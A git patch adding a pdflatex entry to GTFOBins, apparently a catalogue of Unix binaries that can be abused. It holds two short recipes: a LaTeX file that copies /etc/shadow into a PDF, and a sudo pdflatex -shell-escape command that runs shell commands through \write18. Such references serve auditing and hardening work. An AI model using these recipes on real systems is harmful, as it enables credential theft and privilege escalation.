From 012b5e92d1ee5a2f975c1e0dbcf2830be01854b7 Mon Sep 17 00:00:00 2001 From: SynackCerv <80706218+SynackCerv@users.noreply.github.com> Date: Thu, 22 Apr 2021 22:13:51 +0200 Subject: [PATCH] Create pdflatex.md Add pdflatex. --- _gtfobins/pdflatex.md | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 _gtfobins/pdflatex.md diff --git a/_gtfobins/pdflatex.md b/_gtfobins/pdflatex.md new file mode 100644 index 0000000..9e9431a --- /dev/null +++ b/_gtfobins/pdflatex.md @@ -0,0 +1,11 @@ +description: `pdflatex` is a symbolic link to [`pdftex`](/gtfobins/pdftex/). However the program does not have the same behaviour regarding the name of argv[0]. This is the same behaviour for [`xetex`](/gtfobins/xetex/)/[`xelatex`](/gtfobins/xelatex/). +functions: + file-read: + - code: | + echo "\documentclass[12pt]{article} \usepackage{verbatim} \hfuzz=25.002pt \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex + latex read.tex + #/etc/shadow is in read.pdf + sudo: + - code: | + echo "\documentclass[12pt]{article} \begin{document} \immediate\write18{/usr/bin/whoami} \end{document}" > file.tex + sudo pdflatex -shell-escape file.tex